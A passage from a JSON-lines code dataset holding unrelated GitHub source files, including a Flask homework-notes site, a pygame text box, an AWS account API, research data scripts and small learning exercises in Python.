RequestError(\"Failed to load clubs from API\")\r\n return [Club(x) for x in raw_clubs]\r\n\r\n\r\ndef load_cached_events(last_updated: str) -> Optional[list]:\r\n try:\r\n with open(cache_events_path, \"r\") as f:\r\n cached = json.load(f)\r\n if cached[\"last_updated\"] != last_updated:\r\n return None\r\n return cached[\"events\"]\r\n except Exception:\r\n # If cache fails, fetch new data from API\r\n # Should be transparent to user\r\n pass\r\n\r\n\r\ndef save_cached_events(last_updated: str, raw_events: list[dict]):\r\n try:\r\n with open(cache_events_path, \"w\") as f:\r\n json.dump({\"last_updated\": last_updated, \"events\": raw_events}, f)\r\n except Exception:\r\n # Should be transparent to user\r\n pass\r\n\r\n\r\ndef load_cached_clubs(max_stale_days: int = 14) -> Optional[list]:\r\n try:\r\n with open(cache_clubs_path, \"r\") as f:\r\n cached = json.load(f)\r\n ts_dt = datetime.strptime(cached[\"timestamp\"], date_format)\r\n if (now_dt - ts_dt).days >= max_stale_days:\r\n return None\r\n return cached[\"data\"]\r\n except Exception:\r\n # If cache fails, fetch new data from API\r\n # Should be transparent to user\r\n pass\r\n\r\n\r\ndef save_cached_clubs(raw_clubs: list[dict]):\r\n try:\r\n with open(cache_clubs_path, \"w\") as f:\r\n ts = now_dt.strftime(date_format)\r\n json.dump({\"timestamp\": ts, \"data\": raw_clubs}, f)\r\n except Exception as e:\r\n # Should be transparent to user\r\n pass\r\n\r\n\r\ndef main(args: Namespace, max_width: int):\r\n try:\r\n header = []\r\n items = []\r\n last_update = None\r\n\r\n if args.mode == \"events\":\r\n header.extend(args.columns if args.columns else default_events_header)\r\n if args.id is None:\r\n # Search on all events\r\n events, last_update = fetch_all_events()\r\n events = filter_events(events, args)\r\n events = sort_objects(events, args, default_event_sort) # type: ignore\r\n items.extend(events)\r\n else:\r\n # Search by event ID\r\n items.append(fetch_event_by_id(args.id))\r\n\r\n elif args.mode == \"clubs\":\r\n header.extend(args.columns if args.columns else default_clubs_header)\r\n clubs = fetch_all_clubs()\r\n clubs = filter_clubs(clubs, args)\r\n clubs = sort_objects(clubs, args, default_club_sort) # type: ignore\r\n items.extend(clubs)\r\n\r\n if args.limit:\r\n items = items[: args.limit]\r\n\r\n table = [to_table_row(x, header, args.no_emojis) for x in items]\r\n\r\n if args.output == \"lines\":\r\n pprint_lines(table, header, max_width)\r\n else:\r\n pprint_table(table, header, max_width, no_swap=args.output == \"table\")\r\n\r\n print(f\"Total results: {len(table)}\")\r\n\r\n if last_update:\r\n print(f\"Last updated: {last_update}\")\r\n\r\n except RequestError as e:\r\n print(e.message)\r\n exit(1)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n os.makedirs(cache_path, exist_ok=True)\r\n main(parse_args(), 120)\r\n","repo_name":"dchenz/linkup-cli","sub_path":"python/linkup.py","file_name":"linkup.py","file_ext":"py","file_size_in_byte":22036,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"13285050723","text":"from tkinter import *\n\npos_x = None\npos_y = None\ndef zeichnen(event):\n global pos_x, pos_y\n canvas.create_line(pos_x, pos_y, event.x,event.y, fill=\"black\")\n pos_x = event.x\n pos_y = event.y\n \ndef start(event):\n global pos_x, pos_y\n pos_x = event.x\n pos_y = event.y\n \n \nfenster = Tk()\nfenster.geometry(\"500x300\")\ncanvas = Canvas(fenster, bg='white') \ncanvas.pack(expand=YES, fill=BOTH)\ncanvas.bind(\"\", start)\ncanvas.bind(\"\", zeichnen)\nfenster.mainloop()\n","repo_name":"lebalz/ofi-blog","sub_path":"bin/python/mouse-draw-hir.py","file_name":"mouse-draw-hir.py","file_ext":"py","file_size_in_byte":505,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"19793061938","text":"import os\nimport numpy as np\n\npattern_path='/raid/pan/pattern_dataset/'\nori_path='/raid/pan/ori_dataset/'\nsave_path='/home/pan/Desktop/vit_rec/my0812/'\n\n#mirflickr25k\ntrain_ori_mk_files=[]\nval_ori_mk_files=[]\ntrain_pattern_mk_files=[]\nval_pattern_mk_files=[]\n\nfiles=os.listdir(pattern_path+'mirflickr25k_1600/train/')\nfiles.sort()\nfor file in files:\n train_pattern_mk_files.append(pattern_path+'mirflickr25k_1600/train/'+file)\n train_ori_mk_files.append(ori_path + 'mirflickr25k/train/' + file[:-3]+'jpg')\n\nfiles=os.listdir(pattern_path+'mirflickr25k_1600/val/')\nfiles.sort()\nfor file in files:\n val_pattern_mk_files.append(pattern_path+'mirflickr25k_1600/val/'+file)\n val_ori_mk_files.append(ori_path + 'mirflickr25k/val/' + file[:-3]+'jpg')\n\n\n\n\n#fruits,PetImages\nori_fP_files = []\npattern_fP_files = []\nfor i in range(2):\n if i==0:\n ori_folder_name='fruits_modified/'\n pattern_folder_name = 'fruits_1600/fruits_modified/'\n else:\n ori_folder_name='PetImages/'\n pattern_folder_name = 'PetImages_1600/'\n\n folders=os.listdir(pattern_path+pattern_folder_name)\n folders.sort()\n for folder in folders:\n files=os.listdir(pattern_path+pattern_folder_name+folder+'/')\n files.sort()\n for file in files:\n if os.path.exists(ori_path+ori_folder_name+folder+'/'+file[:-3]+'jpg'):\n ori_fP_files.append(ori_path+ori_folder_name+folder+'/'+file[:-3]+'jpg')\n pattern_fP_files.append(pattern_path + pattern_folder_name + folder + '/' + file)\n if os.path.exists(ori_path + ori_folder_name + folder + '/' + file[:-3] + 'JPEG'):\n ori_fP_files.append(ori_path + ori_folder_name + folder + '/' + file[:-3] + 'JPEG')\n pattern_fP_files.append(pattern_path + pattern_folder_name + folder + '/' + file)\n\ntrain_patterns=train_pattern_mk_files+pattern_fP_files\ntrain_targets=train_ori_mk_files+ori_fP_files\n\nval_patterns=val_pattern_mk_files\nval_targets=val_ori_mk_files\n\nnp.save(save_path+'train_patterns.npy',train_patterns)\nnp.save(save_path+'train_targets.npy',train_targets)\nnp.save(save_path+'val_patterns.npy',val_patterns)\nnp.save(save_path+'val_targets.npy',val_targets)\n","repo_name":"BobPXX/Lensless_Imaging_Transformer","sub_path":"datasets/prepare_dataset.py","file_name":"prepare_dataset.py","file_ext":"py","file_size_in_byte":2209,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"61"} +{"seq_id":"11830226225","text":"'''The script reads an output file from\ncount_spliced_reads.py and plot cumulative\ndistribution of reads mapped to splice junctions.\n\ncount_spliced_reads.py is included in Gimme package.\n\n'''\nimport sys\n\nimport matplotlib.pyplot as plot\nfrom scipy.stats import cumfreq\n\n\ndef get_data(filename):\n '''Read read counts and return a dictionary\n\n containing the number of reads of each splice\n junction.\n\n '''\n junction_db = {}\n\n with open(filename, 'r') as infile:\n for line in infile:\n junction, reads = line.strip().split('\\t')\n junction_db[junction] = int(reads)\n\n return junction_db\n\n\ndef main(filename):\n counts = get_data(filename)\n sorted_counts = sorted([v for v in counts.itervalues()])\n cumfreqs, lowlim, binsize, extrapoints = cumfreq(sorted_counts,\n max(sorted_counts))\n norm_cumfreqs = cumfreqs / max(cumfreqs)\n plot.plot(norm_cumfreqs[:500], linewidth=1.5)\n plot.xlabel(\"mapped reads\")\n plot.ylabel(\"splice junction\")\n plot.show()\n\n\nif __name__ == \"__main__\":\n main(sys.argv[1])\n","repo_name":"likit/gimme","sub_path":"src/utils/cdf_spliced_reads.py","file_name":"cdf_spliced_reads.py","file_ext":"py","file_size_in_byte":1121,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"22533402605","text":"import pygame\nimport re\nimport utils as u\n\n\nclass TextBox:\n def __init__(self, w, h, x, y, font=None, original_text=None, game_over=False):\n \"\"\"\n :param w: 文本框宽度\n :param h: 文本框高度\n :param x: 文本框坐标\n :param y: 文本框坐标\n :param font: 文本框中使用的字体\n :param original_text: 原文内容\n :param game_over: 游戏是否结束\n \"\"\"\n self.width = w\n self.height = h\n self.x = x\n self.y = y\n self.text = \"\" # 文本框内容\n self.original_text = original_text # 原文内容\n self.count = 0 # 匹配单词数量\n self.color_index = 1 # 当前背景颜色索引\n self.__surface = pygame.Surface((w, h))\n\n if font is None:\n self.font = pygame.font.SysFont(\n 'Arial', 22)\n else:\n self.font = font\n\n def draw(self, dest_surf):\n # 创建文字surf\n text_surf = self.font.render(self.text, True, (255, 255, 255))\n # 绘制背景色\n dest_surf.blit(self.__surface, (self.x, self.y))\n # 绘制文字\n temp_text = []\n temp_text = re.findall(r'.{1,64}', self.text)\n\n if temp_text != []:\n for i in range(0, len(temp_text)):\n line = self.font.render(\n temp_text[i], True, (255, 255, 255))\n dest_surf.blit(line, (self.x, self.y + i * 20),\n (0, 0, self.width, self.height))\n else:\n dest_surf.blit(text_surf, (self.x, self.y),\n (0, 0, self.width, self.height))\n\n # 改变背景颜色\n def change_bg_color(self, dest_surf):\n self.color_index += 1\n\n # 验证匹配单词\n def verify(self):\n self.count = 0\n result = self.text.split(' ')\n origin_words = []\n words = [word.split(' ') for word in self.original_text.splitlines()]\n for line in words:\n for word in line:\n origin_words.append(word)\n for i in range(0, len(result)):\n for current in range(0, len(origin_words)):\n if u.removePunctuation(origin_words[current]) == u.removePunctuation(result[i]) and result[i] not in [' ', '']:\n self.count += 1\n break\n\n # 按下键盘事件\n def key_down(self, event, dest_surf, game_over):\n\n unicode = event.unicode\n key = event.key\n\n # 游戏结束初始化 count text\n if game_over:\n if key == 13:\n self.count = 0\n self.text = ''\n return\n else:\n return\n\n # print(key)\n unuse_keys = [9, 13, 301, 303, 304, 310, 273, 274, 275, 276] # 无用的按键集合\n if key in unuse_keys:\n return\n\n self.change_bg_color(dest_surf)\n\n # 删除键\n if key == 8:\n self.text = self.text[:-1]\n self.verify()\n return\n\n # 空格\n if key == 32:\n self.text += ' '\n return\n\n if unicode != \"\":\n char = unicode\n else:\n char = chr(key)\n\n self.text += char\n\n self.verify()\n\n # 按键报错处理\n def safe_key_down(self, event, dest_surf, game_over):\n try:\n self.key_down(event, dest_surf, game_over)\n except Exception as e:\n self.catch_err(e)\n\n # 异常的时候还原到初始状态\n def catch_err(self, e):\n print('catch_err', e)\n self.text += ''\n","repo_name":"easy261925/pygame-verification","sub_path":"text_box.py","file_name":"text_box.py","file_ext":"py","file_size_in_byte":3619,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23554332981","text":"import sys\nimport math\n\ndef Problem2(num, n):\n numStr = str(n)\n while (True):\n digits = list(numStr)\n \n # find index where digit (index) is greater than digit (index+1)\n index = findIndex(digits)\n if index == -1:\n break; \n \n numb = int(digits[index] + digits[index+1]);\n while (True):\n # find the first tidy 2-digit number\n numb = numb - 1;\n if math.floor(numb / 10) <= numb % 10:\n break\n \n # substitute 2 digits, then he rest by 9s\n digits[index] = str(math.floor(numb / 10));\n digits[index+1] = str(numb % 10);\n for i in range(index+2, len(digits)):\n digits[i] = '9'\n numStr = ''.join(digits)\n \n print(\"Case #\" + str(num) + \": \" + str(int(numStr)))\n\n\ndef findIndex(digits):\n for i in range (0, len(digits)-1):\n if (int(digits[i]) > int(digits[i+1])):\n return i\n return -1;\n\n\n\ncnt = 0\nnumCases = 0\nfor line in sys.stdin:\n if cnt == 0:\n numCases = int(line)\n else:\n if cnt <= numCases:\n split = line.split()\n Problem2(cnt, int(line))\n else:\n break\n \n cnt = cnt + 1\n\n\n \n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_200/2012.py","file_name":"2012.py","file_ext":"py","file_size_in_byte":1253,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"8697775029","text":"from flask import Blueprint, request\nfrom aws_utils import get_boto3_resource\nimport db\nimport models\n\napp = Blueprint('account', __name__)\n\n\n@app.route('', strict_slashes=False, methods=['GET', 'POST'])\ndef account_list():\n if request.method == 'GET':\n items = db.get_items(models.Account, **request.args)\n # dont send the secret_key\n [i.pop('secret_key') for i in items['items']]\n return items\n elif request.method == 'POST':\n data = request.json\n creds = {\n 'aws_access_key_id': data.get('access_key', ''),\n 'aws_secret_access_key': data.get('secret_key', ''),\n 'role_arn': data.get('role_arn', '')\n }\n data['regions'] = data['regions'].split(\",\")\n _, account_id = get_boto3_resource('sts', creds=creds)\n models.Account(account_number=account_id, **data).save()\n return data['name']\n\n\n@app.route('/', methods=['DELETE'])\ndef account(name):\n if request.method == 'DELETE':\n count = db.delete_items(models.Account, name=name)\n return {'deleted': count}\n","repo_name":"maskiran/aws-vpc","sub_path":"api/apiresources/account.py","file_name":"account.py","file_ext":"py","file_size_in_byte":1093,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"15841435864","text":"a = [1,2,3,4,5]\nb = [6,7,8,9,10]\nc = ['a','b','d','e','f']\n\n# The zip function allows us iterate through these two \n# lists and aggregates them.\n\n# for a,b in zip(a,b):\n# print(a,b)\n\n# Now lets do it with another list.\nc = ['a','b','d','e','f']\n\nfor a,b,c in zip(a,b,c):\n print(a,b,c)\n\n# notice: we had to comment out the above code as it would not run\n# twice. Zip creates a zip object thus revoking our ability to run\n# it once again on the same list.\n\nlist1 = [ 'a' , 'b' ]\nlist2 = [ 1, 2 ]\nprint(zip(list1, list2))\n# output: \n","repo_name":"garethquirke/advancedpy","sub_path":"zip.py","file_name":"zip.py","file_ext":"py","file_size_in_byte":569,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"25344285761","text":"import sys\n\nsys.stdin = open(\"baekjoon/16953/input.txt\",\"r\")\ninput = sys.stdin.readline().strip()\n\n[a,b]=list(map(int,input.split(\" \")))\n\n# 제출용\n# [a,b]=list(map(int,input().split(\" \")))\n\nans=-1\ndef dfs(a,b,cnt):\n global ans\n if(a>b):\n return\n if(a==b):\n ans=cnt\n return\n \n dfs(a*2,b,cnt+1)\n dfs(int(\"\".join(map(str,[a,1]))),b,cnt+1)\n\ndfs(a,b,0)\n\nprint(-1 if ans==-1 else ans+1)\n\n\n","repo_name":"parkhyeonki/Algorithm-test","sub_path":"baekjoon/16953/python.py","file_name":"python.py","file_ext":"py","file_size_in_byte":425,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71102003073","text":"from AthenaConfiguration.ComponentAccumulator import ComponentAccumulator\nfrom AthenaConfiguration.ComponentFactory import CompFactory\n\n# PhotonsDirectionTool\ndef PhotonsDirectionToolCfg(ConfigFlags, name, **kwargs):\n \"\"\"Configure the PhotonsDirectionTool\"\"\"\n acc = ComponentAccumulator()\n PhotonsDirectionTool = CompFactory.DerivationFramework.PhotonsDirectionTool\n acc.addPublicTool(PhotonsDirectionTool(name, **kwargs),\n primary = True)\n return acc\n\n# E-gamma selection tool wrapper\ndef EGSelectionToolWrapperCfg(ConfigFlags, name, **kwargs):\n \"\"\"Configure the E-gamma selection tool wrapper\"\"\"\n acc = ComponentAccumulator()\n EGSelectionToolWrapper = CompFactory.DerivationFramework.EGSelectionToolWrapper\n acc.addPublicTool(EGSelectionToolWrapper(name, **kwargs),\n primary = True)\n return acc\n\n# Electron likelihood tool wrapper\ndef EGElectronLikelihoodToolWrapperCfg(ConfigFlags, name, **kwargs):\n \"\"\"Configure the electron likelihood tool wrapper\"\"\"\n acc = ComponentAccumulator()\n EGElectronLikelihoodToolWrapper = CompFactory.DerivationFramework.EGElectronLikelihoodToolWrapper\n acc.addPublicTool(EGElectronLikelihoodToolWrapper(name, **kwargs),\n primary = True)\n return acc\n\n# Photon cleaning tool wrapper\ndef EGPhotonCleaningWrapperCfg(ConfigFlags, name, **kwargs):\n \"\"\"Configure the photon cleaning tool wrapper\"\"\"\n acc = ComponentAccumulator()\n EGPhotonCleaningWrapper = CompFactory.DerivationFramework.EGPhotonCleaningWrapper\n acc.addPublicTool(EGPhotonCleaningWrapper(name, **kwargs),\n primary = True)\n return acc\n\n# Crack veto cleaning tool\ndef EGCrackVetoCleaningToolCfg(ConfigFlags, name, **kwargs):\n \"\"\"Configure the crack veto cleaning tool\"\"\"\n acc = ComponentAccumulator()\n EGCrackVetoCleaningTool = CompFactory.DerivationFramework.EGCrackVetoCleaningTool\n acc.addPublicTool(EGCrackVetoCleaningTool(name, **kwargs),\n primary = True)\n return acc\n\n# Electron ambiguity tool\ndef EGElectronAmbiguityToolCfg(ConfigFlags, name, **kwargs):\n \"\"\"Configure the electron ambiguity tool\"\"\"\n acc = ComponentAccumulator()\n EGElectronAmbiguityTool = CompFactory.DerivationFramework.EGElectronAmbiguityTool\n acc.addPublicTool(EGElectronAmbiguityTool(name, **kwargs),\n primary = True)\n return acc\n\n# Background electron classification tool\ndef BkgElectronClassificationCfg(ConfigFlags, name, **kwargs):\n \"\"\"Configure the background electron classification tool\"\"\" \n acc = ComponentAccumulator()\n BkgElectronClassification = CompFactory.DerivationFramework.BkgElectronClassification\n acc.addPublicTool(BkgElectronClassification(name, **kwargs),\n primary = True)\n return acc\n\n# Standard + LRT electron collection merger\ndef ElectronMergerCfg(ConfigFlags, name, **kwargs):\n \"\"\"Configure the track particle merger tool\"\"\"\n acc = ComponentAccumulator()\n ElectronMerger = CompFactory.DerivationFramework.ElectronMergerTool\n acc.addPublicTool(ElectronMerger(name, **kwargs),\n primary = True)\n return acc\n","repo_name":"Yusuf-Manjra/athena","sub_path":"PhysicsAnalysis/DerivationFramework/DerivationFrameworkEGamma/python/EGammaToolsConfig.py","file_name":"EGammaToolsConfig.py","file_ext":"py","file_size_in_byte":3187,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"21572074609","text":"import serial\nfrom time import sleep\n\nser=serial.Serial('/dev/ttyUSB0',9600)\nser.reset_input_buffer()\n\nclass temperatura:\n\tdef __init__(self,celsius):\n\t\tself.celsius=celsius\n\n\tdef getCelsius(self):\n\t\tprint(\"La temperatura es: \", self.celsius)\n\n\n\nwhile True:\n\ttemp=temperatura(ser.readline().decode('utf-8').rstrip())\n\ttemp.getCelsius()\n","repo_name":"paulscotti5/IEE507Scotti","sub_path":"guia_de_trabajo_python_1_2/serialtstOOP.py","file_name":"serialtstOOP.py","file_ext":"py","file_size_in_byte":336,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"37271339629","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Feb 4 12:35:43 2020\n\n@author: Publico\n\"\"\"\n\nimport numpy as np\nimport scipy.optimize\nimport matplotlib.pylab as plt\n\ndata = np.loadtxt('VacioC1.txt',delimiter=';')\ndata2 = np.loadtxt('VacioC2copy.txt',delimiter=';')\ndata3 = np.loadtxt('Vacioconnitrogeno.txt',delimiter=';')\n#data4 = np.loadtxt('VacioC1.txt',delimiter=';',skiprows=0)\n\nT1 = data[:,3]\nT2 = data2[:,3]\nT3 = data3[:,3]\n\ntiempo1 = data[:,1]\ntiempo2 = data2[:,1]\ntiempo3 = data3[:,1]\n\nPresion1 = data[:,2]\nPresion2 = data2[:,2]\nPresion3 = data3[:,2]\n\nplt.plot(tiempo1,T1,'r.')\nplt.plot(tiempo1,Presion1,'b.')\nplt.show()","repo_name":"yamilab16/Grupo5","sub_path":"Sin título1.py","file_name":"Sin título1.py","file_ext":"py","file_size_in_byte":623,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"30115388182","text":"from flask import Flask, render_template, request, redirect\nfrom flask_sqlalchemy import SQLAlchemy\nfrom datetime import datetime \nimport smtplib \n\napp=Flask(__name__)\napp.config['SQLALCHEMY_DATABASE_URI']='sqlite:///homework.db'\n\ndb=SQLAlchemy(app)\n\n#create a database model\nclass Notes_Data(db.Model):\n #__setup_table__='friends'\n id = db.Column(db.Integer, primary_key=True)\n name=db.Column(db.String(200), nullable = False)\n subject =db.Column(db.String(200) )\n chapter=db.Column(db.String(100))\n link=db.Column(db.String(300))\n hw =db.Column(db.String(200))\n date_created = db.Column(db.DateTime, default=datetime.now())\n \n\n #function to return data\n def __repr__(self):\n return '' % self.id\n \n#db.create_all()\n\nemail_id='notdefinedareyou@gmail.com'\n\n@app.route('/')\ndef index():\n hw_data=Notes_Data.query.order_by(Notes_Data.date_created)\n return render_template('index.html', time=(datetime.now().strftime(\"%B %d, %y \")), data = hw_data)\n\n@app.route('/subjects')\ndef subjects():\n return render_template('subjects.html')\n\n@app.route('/notes/' , methods=['GET','POSTS'])\ndef view(sub):\n print(sub)\n data=Notes_Data.query.filter_by(subject=(str(sub)))\n #data=Notes_Data.query.order_by(Notes_Data.date_created)\n return render_template('view.html' ,friend = data )\n\n\n\n@app.route('/update/',methods=['POST','GET'])\ndef update(id):\n friend_to_update= Notes_Data.query.get_or_404(id)\n if request.method == 'POST':\n friend_to_update.chapter= request.form['chapter']\n friend_to_update.link = request.form['link']\n try :\n db.session.commit()\n return redirect('/subjects')\n\n except:\n return 'Sorry , an error occured !'\n else:\n return render_template('update.html',editing_data=friend_to_update )\n \n \n\n@app.route('/updates/', methods=['POST','GET'])\ndef updates(id):\n friend_to_update= Notes_Data.query.get_or_404(id)\n if request.method == 'POST':\n friend_to_update.hw= request.form['name']\n \n try :\n db.session.commit()\n return redirect('/index')\n\n except:\n return 'Sorry , an error occured !'\n else:\n return render_template('updates.html',editing_data=friend_to_update, friend=Notes_Data.query.order_by(Notes_Data.date_created))\n \n@app.route('/delete/')\ndef delete(id):\n friend_to_delete= Notes_Data.query.get_or_404(id) \n try :\n db.session.delete((friend_to_delete))\n db.session.commit()\n return redirect('/')\n except:\n return 'Error is there Boss'\n\n\n@app.route('/homework',methods=['POST','GET'])\ndef homework():\n \n hw_name = request.form.get('name')\n if not hw_name:\n return render_template('index.html',all_fields_needed_msg='Enter valid Input')\n\n\n print(hw_name)\n \n new_friend= Notes_Data(name=f'Homework {hw_name}',hw=str(hw_name))\n\n #push into database\n try :\n db.session.add(new_friend)\n db.session.commit()\n return redirect('/') \n except:\n return 'Error'\n \n\n\n@app.route('/upload')\ndef upload():\n return render_template('upload.html')\n\n@app.route('/form', methods =['POST',\"GET\"])\ndef form():\n name= request.form.get('person_name')\n link=request.form.get('entered_link')\n subject= request.form.get('subject')\n chapter_name=request.form.get('chapter_name')\n email_entered=request.form.get('enter_email')\n\n print(name , link, subject )\n\n if not name or not link or not email_entered or (subject==''):\n error_statement='All Fields Required'\n return render_template('upload.html', all_fields_msg=error_statement,name=name,\n email=email_entered, link=link)\n\n try:\n datas=Notes_Data(name=name,subject=subject,chapter=chapter_name , link=link)\n db.session.add(datas)\n db.session.commit()\n except Exception as e:\n return 'Error'\n \n return redirect('/subjects')\n\n@app.route('/support')\ndef support():\n return render_template('support.html')\n\napp.run(debug=True)","repo_name":"Joshi-Hiroshi/My-Homework-Website---Flask","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4121,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"4113875022","text":"import flask\n\nfrom pylon.core.tools import module, log # pylint: disable=E0611,E0401\nfrom pylon.core.tools.context import Context as Holder\n\nfrom .models.project import Project\nfrom sqlalchemy.exc import ProgrammingError\nfrom tools import db_migrations, config as c # pylint: disable=E0401\nfrom .utils.rabbit_utils import fix_rabbit_vhost\n\n\nclass Module(module.ModuleModel):\n def __init__(self, context, descriptor):\n self.context = context\n self.descriptor = descriptor\n\n def init(self):\n \"\"\" Init module \"\"\"\n log.info(\"Initializing module Projects\")\n from . import constants as pc\n self.descriptor.register_tool('project_constants', {i: getattr(pc, i) for i in dir(pc) if not i.startswith('_')})\n\n try:\n # Run DB migrations\n db_migrations.run_db_migrations(self, c.DATABASE_URI)\n except ProgrammingError as e:\n log.info(e)\n\n from .tools import session_plugins, session_project, influx_tools\n self.descriptor.register_tool('session_plugins', session_plugins.SessionProjectPlugin)\n self.descriptor.register_tool('session_project', session_project.SessionProject)\n self.descriptor.register_tool('influx_tools', influx_tools)\n # self.descriptor.register_tool('rabbit_tools', rabbit_tools)\n\n from .init_db import init_db\n init_db()\n\n self.descriptor.init_api()\n self.descriptor.init_events()\n self.descriptor.init_rpcs()\n\n self.context.app.before_request(self._before_request_hook)\n\n # self.descriptor.register_tool('projects', self)\n\n # rabbit_tools.create_administration_user_and_vhost()\n\n for p in Project.query.all():\n try:\n fix_rabbit_vhost(p)\n except:\n log.warning('Couldn\\'t fix rabbit for project %s', p)\n\n\n def deinit(self): # pylint: disable=R0201\n \"\"\" De-init module \"\"\"\n log.info(\"De-initializing module\")\n\n def _before_request_hook(self):\n flask.g.project = Holder()\n flask.g.project.id = self.get_id() # comes from RPC\n","repo_name":"carrier-io/projects","sub_path":"module.py","file_name":"module.py","file_ext":"py","file_size_in_byte":2113,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"9927357825","text":"import json\nimport os\nfrom aiokafka import AIOKafkaProducer\n\n\nasync def send_message(script_name, parameters, collection):\n bootstrap_servers = os.getenv('KAFKA_BOOTSTRAP_SERVER')\n topic = 'parsers_topic'\n producer = AIOKafkaProducer(bootstrap_servers=bootstrap_servers)\n await producer.start()\n\n message = {\n 'script_name': script_name,\n 'parameters': parameters,\n 'collection': collection,\n }\n\n try:\n message_str = json.dumps(message)\n await producer.send_and_wait(topic, value=message_str.encode('utf-8'))\n finally:\n await producer.stop()\n","repo_name":"PavelKulesh/Parsers","sub_path":"src/producer/producer.py","file_name":"producer.py","file_ext":"py","file_size_in_byte":608,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"29732875622","text":"import tensorflow as tf\n\nfrom tensorforce import util\nfrom tensorforce.core.explorations import Exploration\n\n\nclass OrnsteinUhlenbeckProcess(Exploration):\n \"\"\"\n Explores via an Ornstein-Uhlenbeck process.\n \"\"\"\n\n def __init__(\n self,\n sigma=0.3,\n mu=0.0,\n theta=0.15,\n scope='ornstein_uhlenbeck',\n summary_labels=()\n ):\n \"\"\"\n Initializes an Ornstein-Uhlenbeck process which is a mean reverting stochastic process\n introducing time-correlated noise.\n \"\"\"\n self.sigma = sigma\n self.mu = float(mu) # need to add cast to float to avoid tf type-mismatch error in case mu=0.0\n self.theta = theta\n\n super(OrnsteinUhlenbeckProcess, self).__init__(scope=scope, summary_labels=summary_labels)\n\n def tf_explore(self, episode, timestep, action_spec):\n normal_sample = tf.random_normal(shape=action_spec['shape'], mean=0.0, stddev=1.0)\n state = tf.get_variable(\n name='ornstein_uhlenbeck',\n dtype=util.tf_dtype('float'),\n shape=action_spec['shape'],\n initializer=tf.constant_initializer(self.mu)\n )\n return tf.assign_add(ref=state, value=(self.theta * (self.mu - state) + self.sigma * normal_sample))\n","repo_name":"nekrald/quadrotor_reinforcement_learning","sub_path":"libraries/tensorforce/tensorforce/core/explorations/ornstein_uhlenbeck_process.py","file_name":"ornstein_uhlenbeck_process.py","file_ext":"py","file_size_in_byte":1276,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"} +{"seq_id":"40921667004","text":"#!/usr/bin/python\n#\n# Practice Python Exercise #10\n# https://www.practicepython.org/exercise/2014/04/10/10-list-overlap-comprehensions.html\n# \n# Take two lists, say for example these two:\na = [1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89]\nb = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13]\nc = []\nd = []\n#\n# and write a program that returns a list that contains only the elements that are common between the \n# lists (without duplicates). Make sure your program works on two lists of different sizes. Write this\n# using at least one list comprehension. (Hint: Remember list comprehensions from Exercise 7).\n# \n#\n# Extra:\n# ** Randomly generate two lists to test this\n# ** Write in one line of python using sets ( - but sets have not yet been discussed )\n#\nprint (\"Welcome to exercise 10: List Overlap comprehensions.\")\nprint (\"First iteration is with predefined lists called 'a' and 'b', where b is the longer list:\")\n\n# Create a list of all overlaps, including duplicates, in one line\nc = [a[i] for i in range(len(a)) if a[i] in b]\n\nfor i in range(0,len(c)): #remove duplicates\n if c[i] not in d:\n d.append(c[i])\n\nprint(d)\n\n# Extra Credit\nimport random\nprint(\"The second iteration is with two lists of random size containining random numbers between 1 and 50:\")\n\nsize1=0\nsize2=0\nw = []\nx = []\ny = []\nz = []\n\nsize1=random.randint(10,30) # The first list will be size1 in length\nsize2=random.randint(size1+1,35) # The second list will be size2 in length, which will always be > than size1\n\nw=sorted(random.sample(range(50),size1)) # Generate size1 amount of random numbers between 1 and 50 and assign to list w\nx=sorted(random.sample(range(50),size2)) # Generate size2 amount of random numbers between 1 and 50 and assign to list x\n\ny = [w[i] for i in range(len(w)) if w[i] in x] # Generate a list of overlaps and assign to list y\n\nfor i in range(0,len(y)): # Write all non-duplicates from list y to list z.\n if y[i] not in z:\n z.append(y[i])\n z.sort()\n\nprint (\"List 1:\",w)\nprint (\"List 2:\",x)\nprint (\"Overlaps:\",z)","repo_name":"dpalmero1971/python_exercises","sub_path":"ex10.py","file_name":"ex10.py","file_ext":"py","file_size_in_byte":2137,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"10607873955","text":"#!/usr/bin/env python\nimport cv2\nimport rospy\nfrom sensor_msgs.msg import Image\nfrom cv_bridge import CvBridge\n\nif __name__ == '__main__':\n cap = cv2.VideoCapture(1)\n pub = rospy.Publisher('/usb_cam/image_raw', Image, queue_size=10)\n rospy.init_node('raw_img_publisher', anonymous=True)\n rate = rospy.Rate(10)\n\n bridge = CvBridge()\n while not rospy.is_shutdown():\n ret, frame = cap.read()\n pub.publish(bridge.cv2_to_imgmsg(frame, 